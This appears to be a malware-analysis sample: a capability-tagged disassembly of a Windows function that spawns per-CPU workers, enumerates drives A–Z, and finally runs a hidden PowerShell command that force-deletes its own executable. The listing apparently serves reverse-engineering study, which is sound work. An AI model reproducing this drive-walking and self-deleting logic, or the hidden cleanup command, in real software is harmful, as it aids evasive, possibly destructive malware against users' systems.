Function at 0x418e7c
Capabilities:
Execute command
Get system information on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
mov qword [rbp + 0x168], rdx
call fcn.00446b50
mov ecx, 0
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
lea rax, [rbp - 0x20]
mov edx, 0x104
mov rcx, rax
call sub.msvcrt.dll__getcwd
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x30]
mov edx, eax
lea rax, [0x004723c0]
mov dword [rax], edx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
imul rax, rax, 0x44f0
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004723d8]
mov qword [rax], rdx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x0046de40]
mov qword [rax], rdx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x110], rax
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x108], rax
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004723f0]
mov qword [rax], rdx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004723e8]
mov qword [rax], rdx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004723b0]
mov qword [rax], rdx
lea rax, [0x004723c0]
mov eax, dword [rax]
cdqe
shl rax, 3
mov rcx, rax
call sub.msvcrt.dll_malloc
mov rdx, rax
lea rax, [0x004723e0]
mov qword [rax], rdx
mov edx, 0
lea rax, [0x0046de08]
mov rcx, rax
call fcn.004424c0
mov dword [rbp + 0x12c], 0
jmp 0x41912d
lea rax, [0x004723e0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov edx, 0
mov rcx, rax
call fcn.004424c0
lea rax, [0x004723f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov dword [rax], 0xffffffff
lea rax, [0x004723e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
lea rbx, [rax + rdx]
mov ecx, 0x2000
call sub.msvcrt.dll_malloc
mov qword [rbx], rax
mov dword [rbp + 0x128], 0
jmp 0x4190d8
lea rax, [0x004723e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x128]
movsxd rdx, edx
shl rdx, 3
lea rbx, [rax + rdx]
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbx], rax
add dword [rbp + 0x128], 1
cmp dword [rbp + 0x128], 0x3ff
jle 0x419096
lea rax, [0x004723b0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov dword [rax], 0
mov eax, dword [rbp + 0x12c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x108]
add rdx, rax
mov eax, dword [rbp + 0x12c]
mov dword [rdx], eax
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x41901b
mov ecx, 0x18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x100], rax
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x168]
mov r8, rdx
mov rdx, rax
mov ecx, dword [rbp + 0x160]
call fcn.00416556
mov rdx, qword [0x00461ed0]
mov rax, qword [0x00461ee0]
mov r8, rax
mov eax, 0x34
mov rdi, rdx
mov rsi, r8
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
lea rax, [0x0046de04]
mov rdx, rax
lea rax, [0x0046de60]
mov rcx, rax
call fcn.00418d37
test eax, eax
jne 0x41961e
mov dword [rbp + 0x12c], 0
jmp 0x41920e
lea rax, [0x0046de40]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 2
add rdx, rax
lea rax, [0x004723d8]
mov rcx, qword [rax]
mov eax, dword [rbp + 0x12c]
cdqe
imul rax, rax, 0x44f0
add rax, rcx
mov rcx, rax
call fcn.00418d37
test eax, eax
jne 0x419621
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x4191c1
mov eax, dword [0x0044b288]
lea rdx, [0x00472360]
mov r8, rdx
mov edx, eax
lea rcx, [0x0044b060]
call fcn.004229a0
test eax, eax
jne 0x419624
mov rcx, qword [0x00461e80]
call fcn.0041e980
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jne 0x419627
lea rcx, [0x0045656c]
call fcn.0041e6b0
mov edx, eax
lea rax, [0x0046de00]
mov dword [rax], edx
lea rax, [0x0046de00]
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x41962a
mov rcx, qword [0x00461ea0]
call fcn.0041ec50
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jne 0x41962d
lea rax, [0x0046de00]
mov eax, dword [rax]
mov ecx, eax
call fcn.0041d170
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jne 0x419630
lea rcx, [0x00456570]
call fcn.0041e800
mov edx, eax
lea rax, [0x00472350]
mov dword [rax], edx
lea rax, [0x00472350]
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x419633
mov dword [rbp - 0x54], 0x20
lea rax, [rbp - 0x54]
mov rcx, rax
call fcn.0041a680
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jne 0x419636
lea rax, [0x004723d0]
mov dword [rax], 1
jmp 0x41960a
lea rax, [0x0046de20]
mov dword [rax], 0
lea rax, [0x0046de20]
mov dword [rax + 4], 0
lea rax, [0x0046de20]
mov dword [rax + 8], 0
lea rax, [0x0046de20]
mov dword [rax + 0xc], 0
lea rax, [0x0046de20]
mov dword [rax + 0x10], 0
lea rax, [0x0046de20]
mov dword [rax + 0x14], 0
lea rax, [0x0046de10]
mov dword [rax], 0
lea rax, [0x0046de38]
mov dword [rax], 1
mov dword [rbp + 0x12c], 0
jmp 0x4193fb
mov eax, dword [rbp + 0x12c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x108]
add rdx, rax
mov eax, dword [rbp + 0x12c]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x110]
add rax, rcx
mov r9, rdx
lea r8, [0x004179b3]
mov edx, 0
mov rcx, rax
call fcn.00444440
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x4193a9
mov dword [rbp + 0x12c], 0
jmp 0x419441
mov eax, dword [rbp + 0x12c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x110]
add rax, rdx
mov rcx, rax
call fcn.00444910
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x419418
mov rax, qword [rbp + 0x100]
mov rax, qword [rax + 8]
movzx eax, byte [rax]
test al, al
jne 0x4194d0
mov ecx, 0x1000
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0x124], 0x41
jmp 0x4194b6
mov edx, dword [rbp + 0x124]
mov rax, qword [rbp + 0xf0]
mov r8d, edx
lea rdx, str._c:_
mov rcx, rax
call sub.msvcrt.dll_sprintf
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call fcn.00417572
add dword [rbp + 0x124], 1
cmp dword [rbp + 0x124], 0x5a
jle 0x419481
mov rax, qword [rbp + 0xf0]
mov rcx, rax
call fcn.0044a060
jmp 0x4194e3
mov rax, qword [rbp + 0x100]
mov rax, qword [rax + 8]
mov rcx, rax
call fcn.00417572
lea rax, [0x004723c0]
mov edx, dword [rax]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 8
mov dword [rbp + 0xec], eax
jmp 0x41950c
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x0046de10]
mov eax, dword [rax]
cmp dword [rbp + 0xec], eax
jg 0x4194fe
mov dword [rbp + 0x120], 0
jmp 0x4195db
mov dword [rbp + 0x120], 1
mov dword [rbp + 0x12c], 0
jmp 0x4195b8
lea rax, [0x004723e0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.004420a0
lea rax, [0x004723f0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp eax, 0xffffffff
je 0x41958f
mov dword [rbp + 0x120], 0
lea rax, [0x004723e0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.00442370
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x419542
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp dword [rbp + 0x120], 0
je 0x41952c
lea rax, [0x0046de38]
mov dword [rax], 0
lea rax, [0x004723d0]
mov eax, dword [rax]
lea edx, [rax + 1]
lea rax, [0x004723d0]
mov dword [rax], edx
lea rax, [0x004723d0]
mov eax, dword [rax]
cmp eax, 1
jle 0x419330
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
jmp 0x419637
nop
lea rax, [0x004723d8]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
lea rax, [0x0046de40]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
mov dword [rbp + 0x12c], 0
jmp 0x419690
lea rax, [0x004723e0]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rcx, rax
call fcn.00442510
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x419667
mov rax, qword [rbp + 0x110]
mov rcx, rax
call fcn.0044a060
mov rax, qword [rbp + 0x108]
mov rcx, rax
call fcn.0044a060
lea rax, [0x004723f0]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
mov dword [rbp + 0x12c], 0
jmp 0x419763
mov dword [rbp + 0x128], 0
jmp 0x41972b
lea rax, [0x004723e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x128]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
add dword [rbp + 0x128], 1
cmp dword [rbp + 0x128], 0x3ff
jle 0x4196ec
lea rax, [0x004723e8]
mov rax, qword [rax]
mov edx, dword [rbp + 0x12c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
add dword [rbp + 0x12c], 1
lea rax, [0x004723c0]
mov eax, dword [rax]
cmp dword [rbp + 0x12c], eax
jl 0x4196e0
lea rax, [0x004723e8]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
lea rax, [0x004723b0]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
lea rax, [0x004723e0]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
lea rax, [0x0046de08]
mov rcx, rax
call fcn.00442510
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x10]
cmp eax, 1
jne 0x41986d
mov ecx, 0x7ff
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
lea rdx, str.cmd.exe__c_start_powershell.exe__WindowStyle_Hidden__Command_Sleep__Milliseconds_500__Remove_Item__Force__Path__
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x118]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x118]
add rax, rdx
mov word [rax], 0x5c
mov rax, qword [rbp + 0x100]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x118]
lea rdx, str.___ErrorAction_SilentlyContinue_
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x100]
mov rax, qword [rax]
mov rcx, rax
call fcn.0044a060
mov rax, qword [rbp + 0x100]
mov rax, qword [rax + 8]
mov rcx, rax
call fcn.0044a060
mov rax, qword [rbp + 0x100]
mov rcx, rax
call fcn.0044a060
call fcn.004185fc
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x10]
cmp eax, 1
jne 0x4198d3
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.msvcrt.dll_system
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.0044a060
mov eax, 0
add rsp, 0x1b8
pop rbx
pop rsi
pop rdi
pop rbp
ret